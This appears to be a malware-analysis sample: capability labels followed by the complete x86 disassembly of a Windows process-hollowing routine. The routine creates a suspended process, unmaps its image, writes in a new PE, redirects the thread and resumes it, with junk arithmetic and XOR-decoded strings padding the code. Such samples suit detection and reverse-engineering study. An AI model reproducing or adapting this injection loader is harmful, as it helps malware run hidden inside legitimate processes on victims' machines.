Function at 0x401724
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x748
mov eax, dword [0x42203c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call fcn.004016e0
push 0x44
push 0
lea eax, [ebp - 0x264]
push eax
call fcn.00403450
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x274]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x708], 0xa
mov dword [ebp - 0x6b0], 0x14
mov dword [ebp - 0x700], 0x1e
mov dword [ebp - 0x6fc], 0x28
push 5
pop ecx
mov esi, str.junkjunkjunkjunkjunk
lea edi, [ebp - 0x748]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x40
xor eax, eax
inc eax
imul eax, eax, 0
add eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.00402ed0
add esp, 0xc
movzx eax, word [ebp - 0x2e0]
cmp eax, 0x5a4d
je 0x4017c6
xor al, al
jmp 0x4021d0
push pe_nt_image_headers32
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x3d8]
push eax
call fcn.00402ed0
add esp, 0xc
mov dword [ebp - 0x6a8], 0x64
mov eax, dword [ebp - 0x6a8]
shl eax, 1
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x6a8]
cdq
push 5
pop ecx
idiv ecx
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x6a8]
add eax, 0x2a
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x6a8]
sub eax, 0xc
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x6a8]
imul eax, dword [ebp - 0x6a8]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6f8], 0x64
mov dword [ebp - 0x6f4], 0xc8
mov dword [ebp - 0x704], 0x12c
mov dword [ebp - 0x6e4], 0x190
cmp dword [ebp - 0x3d8], 0x4550
je 0x4018da
push pe_nt_image_headers32
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x3d8]
push eax
call fcn.00402ed0
add esp, 0xc
lea eax, [ebp - 0x6a4]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x4018ce
push 0
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x4021d0
mov dword [ebp - 0x264], 0x44
cmp dword [ebp + 0x1c], 2
je 0x401912
cmp dword [ebp + 0x1c], 0
jle 0x401912
cmp dword [ebp + 0x1c], 6
jg 0x401912
mov dword [ebp - 0x238], 1
mov eax, dword [ebp + 0x1c]
mov ax, word [eax*4 + 0x421ffc]
mov word [ebp - 0x234], ax
nop
nop
nop
nop
nop
mov dword [ebp - 0x6b4], 0x3e8
mov eax, dword [ebp - 0x6b4]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b4]
add eax, 5
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b4]
sub eax, 0xa
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b4]
cdq
push 0x32
pop ecx
idiv ecx
mov dword [ebp - 0x6b4], edx
mov dword [ebp - 0x6a4], 0x10002
cmp dword [ebp + 0x10], 0x4171d5
je 0x40199b
push dword [ebp + 0x10]
push dword [ebp + 0x14]
push str._s__s
push 0x200
lea eax, [ebp - 0x21c]
push eax
call fcn.00401060
add esp, 0x14
nop
nop
nop
nop
nop
jmp 0x4019b7
push dword [ebp + 0x14]
push 0x4171e0
push 0x200
lea eax, [ebp - 0x21c]
push eax
call fcn.00401060
add esp, 0x10
nop
nop
nop
nop
nop
lea eax, [ebp - 0x274]
push eax
lea eax, [ebp - 0x264]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4019f0
xor al, al
jmp 0x4021d0
xor eax, eax
je 0x401acd
lea eax, [ebp - 0x274]
push eax
lea eax, [ebp - 0x264]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401a2c
xor al, al
jmp 0x4021d0
cmp dword [ebp + 0x1c], 2
je 0x401a5a
cmp dword [ebp + 0x1c], 0
jle 0x401a5a
cmp dword [ebp + 0x1c], 6
jg 0x401a5a
mov dword [ebp - 0x238], 1
mov eax, dword [ebp + 0x1c]
mov ax, word [eax*4 + 0x421ffc]
mov word [ebp - 0x234], ax
mov eax, dword [0x4171e4]
mov ecx, dword [0x4171e8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ecx
and dword [ebp - 0x6c0], 0
jmp 0x401a81
mov eax, dword [ebp - 0x6c0]
inc eax
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 8
jae 0x401ac1
lea eax, [ebp - 0x1c]
push eax
call fcn.00404150
pop ecx
mov ecx, eax
mov eax, dword [ebp - 0x6c0]
xor edx, edx
div ecx
movsx eax, byte [ebp + edx - 0x1c]
mov ecx, dword [ebp - 0x6c0]
xor eax, dword [ecx*4 + 0x422018]
mov ecx, dword [ebp - 0x6c0]
mov dword [ecx*4 + 0x422018], eax
jmp 0x401a74
mov al, 1
jmp 0x4021d0
nop
nop
nop
nop
nop
lea eax, [ebp - 0x6a4]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x401b16
push 0
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x4021d0
mov dword [ebp - 0x6b8], 0x7d0
imul eax, dword [ebp - 0x6b8], 3
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x6b8]
cdq
push 7
pop ecx
idiv ecx
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x6b8]
add eax, 0xf
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x6b8]
sub eax, 0x14
mov dword [ebp - 0x6b8], eax
nop
nop
nop
nop
nop
push 0
push 4
lea eax, [ebp - 0x220]
push eax
mov eax, dword [ebp - 0x600]
add eax, 8
push eax
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp dword [ebp - 0x220], 0
jne 0x401bb9
push 0
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x4021d0
and dword [ebp - 0x6d8], 0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x6d0], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp - 0x6d0], 0
je 0x401c4f
push str.ZwUnmapViewOfSection
push dword [ebp - 0x6d0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x6d8], eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x6d8], 0
je 0x401c3a
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 0x274]
call dword [ebp - 0x6d8]
test eax, eax
jne 0x401c38
push dword [ebp - 0x6d0]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x4021d0
jmp 0x401c4d
push dword [ebp - 0x6d0]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x4021d0
jmp 0x401c56
xor al, al
jmp 0x4021d0
cmp dword [ebp - 0x220], 0
jne 0x401ccb
mov eax, dword [str.qwq2021]
mov ecx, dword [0x417214]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
and dword [ebp - 0x6c4], 0
jmp 0x401c86
mov eax, dword [ebp - 0x6c4]
inc eax
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 6
jae 0x401cc6
lea eax, [ebp - 0x14]
push eax
call fcn.00404150
pop ecx
mov ecx, eax
mov eax, dword [ebp - 0x6c4]
xor edx, edx
div ecx
movsx eax, byte [ebp + edx - 0x14]
mov ecx, dword [ebp - 0x6c4]
xor eax, dword [ecx*4 + section..data]
mov ecx, dword [ebp - 0x6c4]
mov dword [ecx*4 + section..data], eax
jmp 0x401c79
jmp 0x401d8d
mov eax, dword [str.qwq2020]
mov ecx, dword [0x41721c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ecx
and dword [ebp - 0x6c8], 0
jmp 0x401cf2
mov eax, dword [ebp - 0x6c8]
inc eax
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 6
jae 0x401d32
lea eax, [ebp - 0xc]
push eax
call fcn.00404150
pop ecx
mov ecx, eax
mov eax, dword [ebp - 0x6c8]
xor edx, edx
div ecx
movsx eax, byte [ebp + edx - 0xc]
mov ecx, dword [ebp - 0x6c8]
xor eax, dword [ecx*4 + section..data]
mov ecx, dword [ebp - 0x6c8]
mov dword [ecx*4 + section..data], eax
jmp 0x401ce5
and dword [ebp - 0x6cc], 0
jmp 0x401d48
mov eax, dword [ebp - 0x6cc]
inc eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 6
jae 0x401d8d
lea eax, [ebp - 0xc]
push eax
call fcn.00404150
pop ecx
mov ecx, eax
mov eax, dword [ebp - 0x6cc]
xor edx, edx
div ecx
movsx eax, byte [ebp + edx - 0xc]
mov ecx, dword [ebp - 0x6cc]
xor eax, dword [ecx*4 + section..data]
mov ecx, dword [ebp - 0x6cc]
mov dword [ecx*4 + section..data], eax
nop
nop
nop
nop
nop
jmp 0x401d3b
push 0x40
push 0x3000
push dword [ebp - 0x388]
push 0
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x278], eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
nop
nop
cmp dword [ebp - 0x278], 0
jne 0x401df4
push 0
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x4021d0
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push dword [ebp - 0x384]
xor eax, eax
inc eax
imul eax, eax, 0
add eax, dword [ebp + 8]
push eax
push dword [ebp - 0x278]
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x2a4]
add eax, 0xf8
mov dword [ebp - 0x70c], eax
and dword [ebp - 0x6d4], 0
jmp 0x401e48
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
movzx eax, word [ebp - 0x3d2]
cmp dword [ebp - 0x6d4], eax
jge 0x401fb4
push 0x28
imul eax, dword [ebp - 0x6d4], 0x28
add eax, dword [ebp - 0x70c]
add eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x2a0]
push eax
call fcn.00402ed0
add esp, 0xc
mov eax, dword [ebp - 0x28c]
inc eax
cmp eax, dword [ebp + 0xc]
jbe 0x401ec1
push 0
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor al, al
jmp 0x4021d0
push 0
push dword [ebp - 0x290]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x28c]
push eax
mov eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x294]
push eax
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp dword [ebp - 0x27c], 0
jae 0x401f03
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0x6e0], eax
jmp 0x401f14
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0x6e0], eax
lea eax, [ebp - 0x220]
push eax
mov eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6dc], eax
cvtsi2sd xmm0, dword [ebp - 0x6dc]
mov eax, dword [ebp - 0x6dc]
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x417230]
push ecx
push ecx
movsd xmm1, qword [0x417228]
movsd qword [esp], xmm1
push ecx
push ecx
movsd xmm1, qword [0x417220]
movsd qword [esp], xmm1
movsd qword [ebp - 0x724], xmm0
call fcn.00405f40
add esp, 0x10
fstp qword [ebp - 0x72c]
movsd xmm0, qword [ebp - 0x724]
divsd xmm0, qword [ebp - 0x72c]
cvttsd2si eax, xmm0
push dword [eax*4 + 0x422018]
push dword [ebp - 0x298]
mov eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x294]
push eax
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x401e3b
push 0
push 4
lea eax, [ebp - 0x278]
push eax
mov eax, dword [ebp - 0x600]
add eax, 8
push eax
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x5f4], eax
lea eax, [ebp - 0x6a4]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
nop
nop
nop
nop
nop
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x402021
push 0xffffffffffffffff
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x274], 0
jne 0x402042
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x20], 0
je 0x40205c
push 0x10
lea eax, [ebp - 0x274]
push eax
push dword [ebp + 0x20]
call fcn.00402ed0
add esp, 0xc
mov dword [ebp - 0x6bc], 0x1388
mov eax, dword [ebp - 0x6bc]
shl eax, 2
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6bc]
cdq
push 3
pop ecx
idiv ecx
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6bc]
add eax, 0x64
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6bc]
sub eax, 0xc8
mov dword [ebp - 0x6bc], eax
mov dword [ebp - 0x710], 0x1f4
mov dword [ebp - 0x730], 0x258
mov dword [ebp - 0x714], 0x2bc
mov dword [ebp - 0x718], 0x320
nop
nop
nop
nop
nop
mov al, 1
jmp 0x4021d0
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402429
leave
ret